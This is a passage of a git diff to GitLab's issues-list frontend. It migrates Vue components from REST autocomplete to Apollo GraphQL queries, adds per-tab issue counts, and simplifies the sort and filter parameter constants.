--- a/app/assets/javascripts/issues_list/components/issuables_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
@@ -6,15 +6,11 @@ import {
GlSafeHtmlDirective as SafeHtml,
} from '@gitlab/ui';
import { toNumber, omit } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import {
- scrollToElement,
- urlParamsToObject,
- historyPushState,
- getParameterByName,
-} from '~/lib/utils/common_utils';
-import { setUrlParams } from '~/lib/utils/url_utility';
+import { scrollToElement, historyPushState } from '~/lib/utils/common_utils';
+// eslint-disable-next-line import/no-deprecated
+import { setUrlParams, urlParamsToObject, getParameterByName } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import initManualOrdering from '~/manual_ordering';
import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
@@ -82,10 +78,7 @@ export default {
isBulkEditing: false,
issuables: [],
loading: false,
- page:
- getParameterByName('page', window.location.href) !== null
- ? toNumber(getParameterByName('page'))
- : 1,
+ page: getParameterByName('page') !== null ? toNumber(getParameterByName('page')) : 1,
selection: {},
totalItems: 0,
};
@@ -265,10 +258,13 @@ export default {
})
.catch(() => {
this.loading = false;
- return flash(__('An error occurred while loading issues'));
+ return createFlash({
+ message: __('An error occurred while loading issues'),
+ });
});
},
getQueryObject() {
+ // eslint-disable-next-line import/no-deprecated
return urlParamsToObject(window.location.search);
},
onPaginate(newPage) {
diff --git a/app/assets/javascripts/issues_list/components/issue_card_time_info.vue b/app/assets/javascripts/issues_list/components/issue_card_time_info.vue
index 70d73aca925..07492b0046c 100644
--- a/app/assets/javascripts/issues_list/components/issue_card_time_info.vue
+++ b/app/assets/javascripts/issues_list/components/issue_card_time_info.vue
@@ -115,7 +115,7 @@ export default {
{{ timeEstimate }}
</span>
<weight-count
- class="gl-display-none gl-sm-display-inline-block gl-mr-3"
+ class="issuable-weight gl-display-none gl-sm-display-inline-block gl-mr-3"
:weight="issue.weight"
/>
<issue-health-status
diff --git a/app/assets/javascripts/issues_list/components/issues_list_app.vue b/app/assets/javascripts/issues_list/components/issues_list_app.vue
index dbf7717b248..6563094ef72 100644
--- a/app/assets/javascripts/issues_list/components/issues_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issues_list_app.vue
@@ -11,45 +11,47 @@ import {
import fuzzaldrinPlus from 'fuzzaldrin-plus';
import getIssuesQuery from 'ee_else_ce/issues_list/queries/get_issues.query.graphql';
import createFlash from '~/flash';
+import { TYPE_USER } from '~/graphql_shared/constants';
+import { convertToGraphQLId } from '~/graphql_shared/utils';
import CsvImportExportButtons from '~/issuable/components/csv_import_export_buttons.vue';
import IssuableByEmail from '~/issuable/components/issuable_by_email.vue';
import IssuableList from '~/issuable_list/components/issuable_list_root.vue';
import { IssuableListTabs, IssuableStates } from '~/issuable_list/constants';
import {
- API_PARAM,
CREATED_DESC,
i18n,
initialPageParams,
+ issuesCountSmartQueryBase,
MAX_LIST_SIZE,
PAGE_SIZE,
PARAM_DUE_DATE,
PARAM_SORT,
PARAM_STATE,
- RELATIVE_POSITION_DESC,
+ RELATIVE_POSITION_ASC,
TOKEN_TYPE_ASSIGNEE,
TOKEN_TYPE_AUTHOR,
TOKEN_TYPE_CONFIDENTIAL,
- TOKEN_TYPE_MY_REACTION,
TOKEN_TYPE_EPIC,
TOKEN_TYPE_ITERATION,
TOKEN_TYPE_LABEL,
TOKEN_TYPE_MILESTONE,
+ TOKEN_TYPE_MY_REACTION,
TOKEN_TYPE_WEIGHT,
UPDATED_DESC,
- URL_PARAM,
urlSortParams,
} from '~/issues_list/constants';
import {
- convertToParams,
+ convertToApiParams,
convertToSearchQuery,
+ convertToUrlParams,
getDueDateValue,
getFilterTokens,
getSortKey,
getSortOptions,
} from '~/issues_list/utils';
import axios from '~/lib/utils/axios_utils';
-import { getParameterByName } from '~/lib/utils/common_utils';
import { scrollUp } from '~/lib/utils/scroll_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import {
DEFAULT_NONE_ANY,
OPERATOR_IS_ONLY,
@@ -71,6 +73,10 @@ import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
import WeightToken from '~/vue_shared/components/filtered_search_bar/tokens/weight_token.vue';
import eventHub from '../eventhub';
+import searchIterationsQuery from '../queries/search_iterations.query.graphql';
+import searchLabelsQuery from '../queries/search_labels.query.graphql';
+import searchMilestonesQuery from '../queries/search_milestones.query.graphql';
+import searchUsersQuery from '../queries/search_users.query.graphql';
import IssueCardTimeInfo from './issue_card_time_info.vue';
export default {
@@ -95,9 +101,6 @@ export default {
autocompleteAwardEmojisPath: {
default: '',
},
- autocompleteUsersPath: {
- default: '',
- },
calendarPath: {
default: '',
},
@@ -119,6 +122,9 @@ export default {
hasIssueWeightsFeature: {
default: false,
},
+ hasIterationsFeature: {
+ default: false,
+ },
hasMultipleIssueAssigneesFeature: {
default: false,
},
@@ -140,15 +146,6 @@ export default {
newIssuePath: {
default: '',
},
- projectIterationsPath: {
- default: '',
- },
- projectLabelsPath: {
- default: '',
- },
- projectMilestonesPath: {
- default: '',
- },
projectPath: {
default: '',
},
@@ -176,26 +173,17 @@ export default {
showBulkEditSidebar: false,
sortKey: getSortKey(getParameterByName(PARAM_SORT)) || defaultSortKey,
state: state || IssuableStates.Opened,
- totalIssues: 0,
};
},
apollo: {
issues: {
query: getIssuesQuery,
variables() {
- return {
- projectPath: this.projectPath,
- search: this.searchQuery,
- sort: this.sortKey,
- state: this.state,
- ...this.pageParams,
- ...this.apiFilterParams,
- };
+ return this.queryVariables;
},
- update: ({ project }) => project.issues.nodes,
+ update: ({ project }) => project?.issues.nodes ?? [],
result({ data }) {
- this.pageInfo = data.project.issues.pageInfo;
- this.totalIssues = data.project.issues.count;
+ this.pageInfo = data.project?.issues.pageInfo ?? {};
this.exportCsvPathWithQuery = this.getExportCsvPathWithQuery();
},
error(error) {
@@ -206,8 +194,55 @@ export default {
},
debounce: 200,
},
+ countOpened: {
+ ...issuesCountSmartQueryBase,
+ variables() {
+ return {
+ ...this.queryVariables,
+ state: IssuableStates.Opened,
+ };
+ },
+ skip() {
+ return !this.hasProjectIssues;
+ },
+ },
+ countClosed: {
+ ...issuesCountSmartQueryBase,
+ variables() {
+ return {
+ ...this.queryVariables,
+ state: IssuableStates.Closed,
+ };
+ },
+ skip() {
+ return !this.hasProjectIssues;
+ },
+ },
+ countAll: {
+ ...issuesCountSmartQueryBase,
+ variables() {
+ return {
+ ...this.queryVariables,
+ state: IssuableStates.All,
+ };
+ },
+ skip() {
+ return !this.hasProjectIssues;
+ },
+ },
},
computed: {
+ queryVariables() {
+ return {
+ isSignedIn: this.isSignedIn,
+ projectPath: this.projectPath,
+ search: this.searchQuery,
+ sort: this.sortKey,
+ state: this.state,
+ ...this.pageParams,
+ ...this.apiFilterParams,
+ };
+ },
hasSearch() {
return this.searchQuery || Object.keys(this.urlFilterParams).length;
},
@@ -215,32 +250,30 @@ export default {
return this.showBulkEditSidebar || !this.issues.length;
},
isManualOrdering() {
- return this.sortKey === RELATIVE_POSITION_DESC;
+ return this.sortKey === RELATIVE_POSITION_ASC;
},
isOpenTab() {
return this.state === IssuableStates.Opened;
},
apiFilterParams() {
- return convertToParams(this.filterTokens, API_PARAM);
+ return convertToApiParams(this.filterTokens);
},
urlFilterParams() {
- return convertToParams(this.filterTokens, URL_PARAM);
+ return convertToUrlParams(this.filterTokens);
},
searchQuery() {
return convertToSearchQuery(this.filterTokens) || undefined;
},
searchTokens() {
- let preloadedAuthors = [];
+ const preloadedAuthors = [];
if (gon.current_user_id) {
- preloadedAuthors = [
- {
- id: gon.current_user_id,
- name: gon.current_user_fullname,
- username: gon.current_username,
- avatar_url: gon.current_user_avatar_url,
- },
- ];
+ preloadedAuthors.push({
+ id: convertToGraphQLId(TYPE_USER, gon.current_user_id),
+ name: gon.current_user_fullname,
+ username: gon.current_username,
+ avatar_url: gon.current_user_avatar_url,
+ });
}
const tokens = [
@@ -252,6 +285,7 @@ export default {
dataType: 'user',
unique: true,
defaultAuthors: [],
+ operators: OPERATOR_IS_ONLY,
fetchAuthors: this.fetchUsers,
preloadedAuthors,
},
@@ -280,7 +314,7 @@ export default {
title: TOKEN_TITLE_LABEL,
icon: 'labels',
token: LabelToken,
- defaultLabels: [],
+ defaultLabels: DEFAULT_NONE_ANY,
fetchLabels: this.fetchLabels,
},
];
@@ -310,7 +344,7 @@ export default {
});
}
- if (this.projectIterationsPath) {
+ if (this.hasIterationsFeature) {
tokens.push({
type: TOKEN_TYPE_ITERATION,
title: TOKEN_TITLE_ITERATION,
@@ -329,6 +363,7 @@ export default {
token: EpicToken,
unique: true,
idProperty: 'id',
+ useIdValue: true,
fetchEpics: this.fetchEpics,
});
}
@@ -346,37 +381,28 @@ export default {
return tokens;
},
showPaginationControls() {
- return this.issues.length > 0;
+ return this.issues.length > 0 && (this.pageInfo.hasNextPage || this.pageInfo.hasPreviousPage);
},
sortOptions() {
return getSortOptions(this.hasIssueWeightsFeature, this.hasBlockedIssuesFeature);
},
tabCounts() {
- return Object.values(IssuableStates).reduce(
- (acc, state) => ({
- ...acc,
- [state]: this.state === state ? this.totalIssues : undefined,
- }),
- {},
- );
+ return {
+ [IssuableStates.Opened]: this.countOpened,
+ [IssuableStates.Closed]: this.countClosed,
+ [IssuableStates.All]: this.countAll,
+ };
+ },
+ currentTabCount() {
+ return this.tabCounts[this.state] ?? 0;
},
urlParams() {
- const filterParams = {
- ...this.urlFilterParams,
- };
-
- if (filterParams.epic_id) {
- filterParams.epic_id = encodeURIComponent(filterParams.epic_id);
- } else if (filterParams['not[epic_id]']) {
- filterParams['not[epic_id]'] = encodeURIComponent(filterParams['not[epic_id]']);
- }
-
return {
due_date: this.dueDateFilter,
search: this.searchQuery,
+ sort: urlSortParams[this.sortKey],
state: this.state,
- ...urlSortParams[this.sortKey],
- ...filterParams,
+ ...this.urlFilterParams,
};
},
},
@@ -418,16 +444,42 @@ export default {
: epics.filter((epic) => epic.id === number);
},
fetchLabels(search) {
- return this.fetchWithCache(this.projectLabelsPath, 'labels', 'title', search);
+ return this.$apollo
+ .query({
+ query: searchLabelsQuery,
+ variables: { projectPath: this.projectPath, search },
+ })
+ .then(({ data }) => data.project.labels.nodes);
},
fetchMilestones(search) {
- return this.fetchWithCache(this.projectMilestonesPath, 'milestones', 'title', search, true);
+ return this.$apollo
+ .query({
+ query: searchMilestonesQuery,
+ variables: { projectPath: this.projectPath, search },
+ })
+ .then(({ data }) => data.project.milestones.nodes);
},
fetchIterations(search) {
- return axios.get(this.projectIterationsPath, { params: { search } });
+ const id = Number(search);
+ const variables =
+ !search || Number.isNaN(id)
+ ? { projectPath: this.projectPath, search }
+ : { projectPath: this.projectPath, id };
+
+ return this.$apollo
+ .query({
+ query: searchIterationsQuery,
+ variables,
+ })
+ .then(({ data }) => data.project.iterations.nodes);
},
fetchUsers(search) {
- return axios.get(this.autocompleteUsersPath, { params: { search } });
+ return this.$apollo
+ .query({
+ query: searchUsersQuery,
+ variables: { projectPath: this.projectPath, search },
+ })
+ .then(({ data }) => data.project.projectMembers.nodes.map((member) => member.user));
},
getExportCsvPathWithQuery() {
return `${this.exportCsvPath}${window.location.search}`;
@@ -450,7 +502,9 @@ export default {
},
async handleBulkUpdateClick() {
if (!this.hasInitBulkEdit) {
- const initBulkUpdateSidebar = await import('~/issuable_init_bulk_update_sidebar');
+ const initBulkUpdateSidebar = await import(
+ '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar'
+ );
initBulkUpdateSidebar.default.init('issuable_');
const usersSelect = await import('~/users_select');
@@ -469,6 +523,7 @@ export default {
this.state = state;
},
handleFilter(filter) {
+ this.pageParams = initialPageParams;
this.filterTokens = filter;
},
handleNextPage() {
@@ -581,7 +636,7 @@ export default {
v-if="isSignedIn"
class="gl-md-mr-3"
:export-csv-path="exportCsvPathWithQuery"
- :issuable-count="totalIssues"
+ :issuable-count="currentTabCount"
/>
<gl-button
v-if="canBulkUpdate"
@@ -609,7 +664,7 @@ export default {
v-gl-tooltip
class="gl-display-none gl-sm-display-block"
:title="$options.i18n.relatedMergeRequests"
- data-testid="issuable-mr"
+ data-testid="merge-requests"
>
<gl-icon name="merge-request" />
{{ issuable.mergeRequestsCount }}
@@ -617,7 +672,7 @@ export default {
<li
v-if="issuable.upvotes"
v-gl-tooltip
- class="gl-display-none gl-sm-display-block"
+ class="issuable-upvotes gl-display-none gl-sm-display-block"
:title="$options.i18n.upvotes"
data-testid="issuable-upvotes"
>
@@ -627,7 +682,7 @@ export default {
<li
v-if="issuable.downvotes"
v-gl-tooltip
- class="gl-display-none gl-sm-display-block"
+ class="issuable-downvotes gl-display-none gl-sm-display-block"
:title="$options.i18n.downvotes"
data-testid="issuable-downvotes"
>
@@ -635,9 +690,10 @@ export default {
{{ issuable.downvotes }}
</li>
<blocking-issues-count
- class="gl-display-none gl-sm-display-block"
- :blocking-issues-count="issuable.blockedByCount"
+ class="blocking-issues gl-display-none gl-sm-display-block"
+ :blocking-issues-count="issuable.blockingCount"
:is-list-item="true"
+ data-testid="blocking-issues"
/>
</template>
@@ -692,7 +748,7 @@ export default {
<csv-import-export-buttons
class="gl-mr-3"
:export-csv-path="exportCsvPathWithQuery"
- :issuable-count="totalIssues"
+ :issuable-count="currentTabCount"
/>
</template>
</gl-empty-state>
diff --git a/app/assets/javascripts/issues_list/constants.js b/app/assets/javascripts/issues_list/constants.js
index 76006f9081d..d94d4b9a19a 100644
--- a/app/assets/javascripts/issues_list/constants.js
+++ b/app/assets/javascripts/issues_list/constants.js
@@ -1,3 +1,5 @@
+import getIssuesCountQuery from 'ee_else_ce/issues_list/queries/get_issues_count.query.graphql';
+import createFlash from '~/flash';
import { __, s__ } from '~/locale';
import {
FILTER_ANY,
@@ -68,6 +70,7 @@ export const i18n = {
confidentialYes: __('Yes'),
downvotes: __('Downvotes'),
editIssues: __('Edit issues'),
+ errorFetchingCounts: __('An error occurred while getting issue counts'),
errorFetchingIssues: __('An error occurred while loading issues'),
jiraIntegrationMessage: s__(
'JiraService|%{jiraDocsLinkStart}Enable the Jira integration%{jiraDocsLinkEnd} to view your Jira issues in GitLab.',
@@ -94,7 +97,7 @@ export const i18n = {
relatedMergeRequests: __('Related merge requests'),
reorderError: __('An error occurred while reordering issues.'),
rssLabel: __('Subscribe to RSS feed'),
- searchPlaceholder: __('Search or filter results…'),
+ searchPlaceholder: __('Search or filter results...'),
upvotes: __('Upvotes'),
};
@@ -128,21 +131,21 @@ export const CREATED_ASC = 'CREATED_ASC';
export const CREATED_DESC = 'CREATED_DESC';
export const DUE_DATE_ASC = 'DUE_DATE_ASC';
export const DUE_DATE_DESC = 'DUE_DATE_DESC';
+export const LABEL_PRIORITY_ASC = 'LABEL_PRIORITY_ASC';
export const LABEL_PRIORITY_DESC = 'LABEL_PRIORITY_DESC';
export const MILESTONE_DUE_ASC = 'MILESTONE_DUE_ASC';
export const MILESTONE_DUE_DESC = 'MILESTONE_DUE_DESC';
export const POPULARITY_ASC = 'POPULARITY_ASC';
export const POPULARITY_DESC = 'POPULARITY_DESC';
+export const PRIORITY_ASC = 'PRIORITY_ASC';
export const PRIORITY_DESC = 'PRIORITY_DESC';
-export const RELATIVE_POSITION_DESC = 'RELATIVE_POSITION_DESC';
+export const RELATIVE_POSITION_ASC = 'RELATIVE_POSITION_ASC';
export const UPDATED_ASC = 'UPDATED_ASC';
export const UPDATED_DESC = 'UPDATED_DESC';
export const WEIGHT_ASC = 'WEIGHT_ASC';
export const WEIGHT_DESC = 'WEIGHT_DESC';
-const SORT_ASC = 'asc';
-const SORT_DESC = 'desc';
-
+const PRIORITY_ASC_SORT = 'priority_asc';
const CREATED_DATE_SORT = 'created_date';
const CREATED_ASC_SORT = 'created_asc';
const UPDATED_DESC_SORT = 'updated_desc';
@@ -150,129 +153,30 @@ const UPDATED_ASC_SORT = 'updated_asc';
const MILESTONE_SORT = 'milestone';
const MILESTONE_DUE_DESC_SORT = 'milestone_due_desc';
const DUE_DATE_DESC_SORT = 'due_date_desc';
+const LABEL_PRIORITY_ASC_SORT = 'label_priority_asc';
const POPULARITY_ASC_SORT = 'popularity_asc';
const WEIGHT_DESC_SORT = 'weight_desc';
const BLOCKING_ISSUES_DESC_SORT = 'blocking_issues_desc';
-const BLOCKING_ISSUES = 'blocking_issues';
-
-export const apiSortParams = {
- [PRIORITY_DESC]: {
- order_by: PRIORITY,
- sort: SORT_DESC,
- },
- [CREATED_ASC]: {
- order_by: CREATED_AT,
- sort: SORT_ASC,
- },
- [CREATED_DESC]: {
- order_by: CREATED_AT,
- sort: SORT_DESC,
- },
- [UPDATED_ASC]: {
- order_by: UPDATED_AT,
- sort: SORT_ASC,
- },
- [UPDATED_DESC]: {
- order_by: UPDATED_AT,
- sort: SORT_DESC,
- },
- [MILESTONE_DUE_ASC]: {
- order_by: MILESTONE_DUE,
- sort: SORT_ASC,
- },
- [MILESTONE_DUE_DESC]: {
- order_by: MILESTONE_DUE,
- sort: SORT_DESC,
- },
- [DUE_DATE_ASC]: {
- order_by: DUE_DATE,
- sort: SORT_ASC,
- },
- [DUE_DATE_DESC]: {
- order_by: DUE_DATE,
- sort: SORT_DESC,
- },
- [POPULARITY_ASC]: {
- order_by: POPULARITY,
- sort: SORT_ASC,
- },
- [POPULARITY_DESC]: {
- order_by: POPULARITY,
- sort: SORT_DESC,
- },
- [LABEL_PRIORITY_DESC]: {
- order_by: LABEL_PRIORITY,
- sort: SORT_DESC,
- },
- [RELATIVE_POSITION_DESC]: {
- order_by: RELATIVE_POSITION,
- per_page: 100,
- sort: SORT_ASC,
- },
- [WEIGHT_ASC]: {
- order_by: WEIGHT,
- sort: SORT_ASC,
- },
- [WEIGHT_DESC]: {
- order_by: WEIGHT,
- sort: SORT_DESC,
- },
- [BLOCKING_ISSUES_DESC]: {
- order_by: BLOCKING_ISSUES,
- sort: SORT_DESC,
- },
-};
export const urlSortParams = {
- [PRIORITY_DESC]: {
- sort: PRIORITY,
- },
- [CREATED_ASC]: {
- sort: CREATED_ASC_SORT,
- },
- [CREATED_DESC]: {
- sort: CREATED_DATE_SORT,
- },
- [UPDATED_ASC]: {
- sort: UPDATED_ASC_SORT,
- },
- [UPDATED_DESC]: {
- sort: UPDATED_DESC_SORT,
- },
- [MILESTONE_DUE_ASC]: {
- sort: MILESTONE_SORT,
- },
- [MILESTONE_DUE_DESC]: {
- sort: MILESTONE_DUE_DESC_SORT,
- },
- [DUE_DATE_ASC]: {
- sort: DUE_DATE,
- },
- [DUE_DATE_DESC]: {
- sort: DUE_DATE_DESC_SORT,
- },
- [POPULARITY_ASC]: {
- sort: POPULARITY_ASC_SORT,
- },
- [POPULARITY_DESC]: {
- sort: POPULARITY,
- },
- [LABEL_PRIORITY_DESC]: {
- sort: LABEL_PRIORITY,
- },
- [RELATIVE_POSITION_DESC]: {
- sort: RELATIVE_POSITION,
- per_page: 100,
- },
- [WEIGHT_ASC]: {
- sort: WEIGHT,
- },
- [WEIGHT_DESC]: {
- sort: WEIGHT_DESC_SORT,
- },
- [BLOCKING_ISSUES_DESC]: {
- sort: BLOCKING_ISSUES_DESC_SORT,
- },
+ [PRIORITY_ASC]: PRIORITY_ASC_SORT,
+ [PRIORITY_DESC]: PRIORITY,
+ [CREATED_ASC]: CREATED_ASC_SORT,
+ [CREATED_DESC]: CREATED_DATE_SORT,
+ [UPDATED_ASC]: UPDATED_ASC_SORT,
+ [UPDATED_DESC]: UPDATED_DESC_SORT,
+ [MILESTONE_DUE_ASC]: MILESTONE_SORT,
+ [MILESTONE_DUE_DESC]: MILESTONE_DUE_DESC_SORT,
+ [DUE_DATE_ASC]: DUE_DATE,
+ [DUE_DATE_DESC]: DUE_DATE_DESC_SORT,
+ [POPULARITY_ASC]: POPULARITY_ASC_SORT,
+ [POPULARITY_DESC]: POPULARITY,
+ [LABEL_PRIORITY_ASC]: LABEL_PRIORITY_ASC_SORT,
+ [LABEL_PRIORITY_DESC]: LABEL_PRIORITY,
+ [RELATIVE_POSITION_ASC]: RELATIVE_POSITION,
+ [WEIGHT_ASC]: WEIGHT,
+ [WEIGHT_DESC]: WEIGHT_DESC_SORT,
+ [BLOCKING_ISSUES_DESC]: BLOCKING_ISSUES_DESC_SORT,
};
export const MAX_LIST_SIZE = 10;
@@ -297,12 +201,7 @@ export const TOKEN_TYPE_WEIGHT = 'weight';
export const filters = {
[TOKEN_TYPE_AUTHOR]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'author_username',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[author_username]',
- },
+ [NORMAL_FILTER]: 'authorUsername',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -315,13 +214,8 @@ export const filters = {
},
[TOKEN_TYPE_ASSIGNEE]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'assignee_username',
- [SPECIAL_FILTER]: 'assignee_id',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[assignee_username]',
- },
+ [NORMAL_FILTER]: 'assigneeUsernames',
+ [SPECIAL_FILTER]: 'assigneeId',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -336,12 +230,7 @@ export const filters = {
},
[TOKEN_TYPE_MILESTONE]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'milestone',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[milestone]',
- },
+ [NORMAL_FILTER]: 'milestoneTitle',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -354,16 +243,13 @@ export const filters = {
},
[TOKEN_TYPE_LABEL]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'labels',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[labels]',
- },
+ [NORMAL_FILTER]: 'labelName',
+ [SPECIAL_FILTER]: 'labelName',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'label_name[]',
+ [SPECIAL_FILTER]: 'label_name[]',
},
[OPERATOR_IS_NOT]: {
[NORMAL_FILTER]: 'not[label_name][]',
@@ -372,10 +258,8 @@ export const filters = {
},
[TOKEN_TYPE_MY_REACTION]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'my_reaction_emoji',
- [SPECIAL_FILTER]: 'my_reaction_emoji',
- },
+ [NORMAL_FILTER]: 'myReactionEmoji',
+ [SPECIAL_FILTER]: 'myReactionEmoji',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -386,9 +270,7 @@ export const filters = {
},
[TOKEN_TYPE_CONFIDENTIAL]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'confidential',
- },
+ [NORMAL_FILTER]: 'confidential',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -398,33 +280,23 @@ export const filters = {
},
[TOKEN_TYPE_ITERATION]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'iteration_title',
- [SPECIAL_FILTER]: 'iteration_id',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[iteration_title]',
- },
+ [NORMAL_FILTER]: 'iterationId',
+ [SPECIAL_FILTER]: 'iterationWildcardId',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
- [NORMAL_FILTER]: 'iteration_title',
+ [NORMAL_FILTER]: 'iteration_id',
[SPECIAL_FILTER]: 'iteration_id',
},
[OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[iteration_title]',
+ [NORMAL_FILTER]: 'not[iteration_id]',
},
},
},
[TOKEN_TYPE_EPIC]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'epic_id',
- [SPECIAL_FILTER]: 'epic_id',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[epic_id]',
- },
+ [NORMAL_FILTER]: 'epicId',
+ [SPECIAL_FILTER]: 'epicId',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -438,13 +310,8 @@ export const filters = {
},
[TOKEN_TYPE_WEIGHT]: {
[API_PARAM]: {
- [OPERATOR_IS]: {
- [NORMAL_FILTER]: 'weight',
- [SPECIAL_FILTER]: 'weight',
- },
- [OPERATOR_IS_NOT]: {
- [NORMAL_FILTER]: 'not[weight]',
- },
+ [NORMAL_FILTER]: 'weight',
+ [SPECIAL_FILTER]: 'weight',
},
[URL_PARAM]: {
[OPERATOR_IS]: {
@@ -457,3 +324,15 @@ export const filters = {
},
},
};
+
+export const issuesCountSmartQueryBase = {
+ query: getIssuesCountQuery,
+ context: {
+ isSingleRequest: true,
+ },
+ update: ({ project }) => project?.issues.count,
+ error(error) {
+ createFlash({ message: i18n.errorFetchingCounts, captureError: true, error });
+ },
+ debounce: 200,
+};
diff --git a/app/assets/javascripts/issues_list/index.js b/app/assets/javascripts/issues_list/index.js
index 97b9a9a115d..71ceb9bef55 100644
--- a/app/assets/javascripts/issues_list/index.js
+++ b/app/assets/javascripts/issues_list/index.js
@@ -1,6 +1,5 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
-import { IssuableType } from '~/issue_show/constants';
import IssuesListApp from '~/issues_list/components/issues_list_app.vue';
import createDefaultClient from '~/lib/graphql';
import { convertObjectPropsToCamelCase, parseBoolean } from '~/lib/utils/common_utils';
@@ -82,7 +81,6 @@ export function mountIssuesListApp() {
const {
autocompleteAwardEmojisPath,
- autocompleteUsersPath,
calendarPath,
canBulkUpdate,
canEdit,
@@ -95,6 +93,7 @@ export function mountIssuesListApp() {
hasBlockedIssuesFeature,
hasIssuableHealthStatusFeature,
hasIssueWeightsFeature,
+ hasIterationsFeature,
hasMultipleIssueAssigneesFeature,
hasProjectIssues,
importCsvIssuesPath,
@@ -106,9 +105,6 @@ export function mountIssuesListApp() {
maxAttachmentSize,
newIssuePath,
projectImportJiraPath,
- projectIterationsPath,
- projectLabelsPath,
- projectMilestonesPath,
projectPath,
quickActionsHelpPath,
resetPath,
@@ -122,7 +118,6 @@ export function mountIssuesListApp() {
apolloProvider,
provide: {
autocompleteAwardEmojisPath,
- autocompleteUsersPath,
calendarPath,
canBulkUpdate: parseBoolean(canBulkUpdate),
emptyStateSvgPath,
@@ -130,15 +125,13 @@ export function mountIssuesListApp() {
hasBlockedIssuesFeature: parseBoolean(hasBlockedIssuesFeature),
hasIssuableHealthStatusFeature: parseBoolean(hasIssuableHealthStatusFeature),
hasIssueWeightsFeature: parseBoolean(hasIssueWeightsFeature),
+ hasIterationsFeature: parseBoolean(hasIterationsFeature),
hasMultipleIssueAssigneesFeature: parseBoolean(hasMultipleIssueAssigneesFeature),
hasProjectIssues: parseBoolean(hasProjectIssues),
isSignedIn: parseBoolean(isSignedIn),
issuesPath,
jiraIntegrationPath,
newIssuePath,
- projectIterationsPath,
- projectLabelsPath,
- projectMilestonesPath,
projectPath,
rssPath,
showNewIssueLink: parseBoolean(showNewIssueLink),
@@ -156,7 +149,6 @@ export function mountIssuesListApp() {
// For IssuableByEmail component
emailsHelpPagePath,
initialEmail,
- issuableType: IssuableType.Issue,
markdownHelpPath,
quickActionsHelpPath,
resetPath,
diff --git a/app/assets/javascripts/issues_list/queries/get_issues.query.graphql b/app/assets/javascripts/issues_list/queries/get_issues.query.graphql
index afd53084ca0..124190915c0 100644
--- a/app/assets/javascripts/issues_list/queries/get_issues.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/get_issues.query.graphql
@@ -2,6 +2,7 @@
#import "./issue.fragment.graphql"
query getProjectIssues(
+ $isSignedIn: Boolean = false
$projectPath: ID!
$search: String
$sort: IssueSort
@@ -33,7 +34,6 @@ query getProjectIssues(
first: $firstPageSize
last: $lastPageSize
) {
- count
pageInfo {
...PageInfo
}
diff --git a/app/assets/javascripts/issues_list/queries/get_issues_count.query.graphql b/app/assets/javascripts/issues_list/queries/get_issues_count.query.graphql
new file mode 100644
index 00000000000..a1742859640
--- /dev/null
+++ b/app/assets/javascripts/issues_list/queries/get_issues_count.query.graphql
@@ -0,0 +1,26 @@
+query getProjectIssuesCount(
+ $projectPath: ID!
+ $search: String
+ $state: IssuableState
+ $assigneeId: String
+ $assigneeUsernames: [String!]
+ $authorUsername: String
+ $labelName: [String]
+ $milestoneTitle: [String]
+ $not: NegatedIssueFilterInput
+) {
+ project(fullPath: $projectPath) {
+ issues(
+ search: $search
+ state: $state
+ assigneeId: $assigneeId
+ assigneeUsernames: $assigneeUsernames
+ authorUsername: $authorUsername
+ labelName: $labelName
+ milestoneTitle: $milestoneTitle
+ not: $not
+ ) {
+ count
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues_list/queries/issue.fragment.graphql b/app/assets/javascripts/issues_list/queries/issue.fragment.graphql
index de30d8b4bf6..f7ebf64ffb8 100644
--- a/app/assets/javascripts/issues_list/queries/issue.fragment.graphql
+++ b/app/assets/javascripts/issues_list/queries/issue.fragment.graphql
@@ -11,7 +11,7 @@ fragment IssueFragment on Issue {
title
updatedAt
upvotes
- userDiscussionsCount
+ userDiscussionsCount @include(if: $isSignedIn)
webUrl
assignees {
nodes {
diff --git a/app/assets/javascripts/issues_list/queries/search_iterations.query.graphql b/app/assets/javascripts/issues_list/queries/search_iterations.query.graphql
new file mode 100644
index 00000000000..11d9dcea573
--- /dev/null
+++ b/app/assets/javascripts/issues_list/queries/search_iterations.query.graphql
@@ -0,0 +1,10 @@
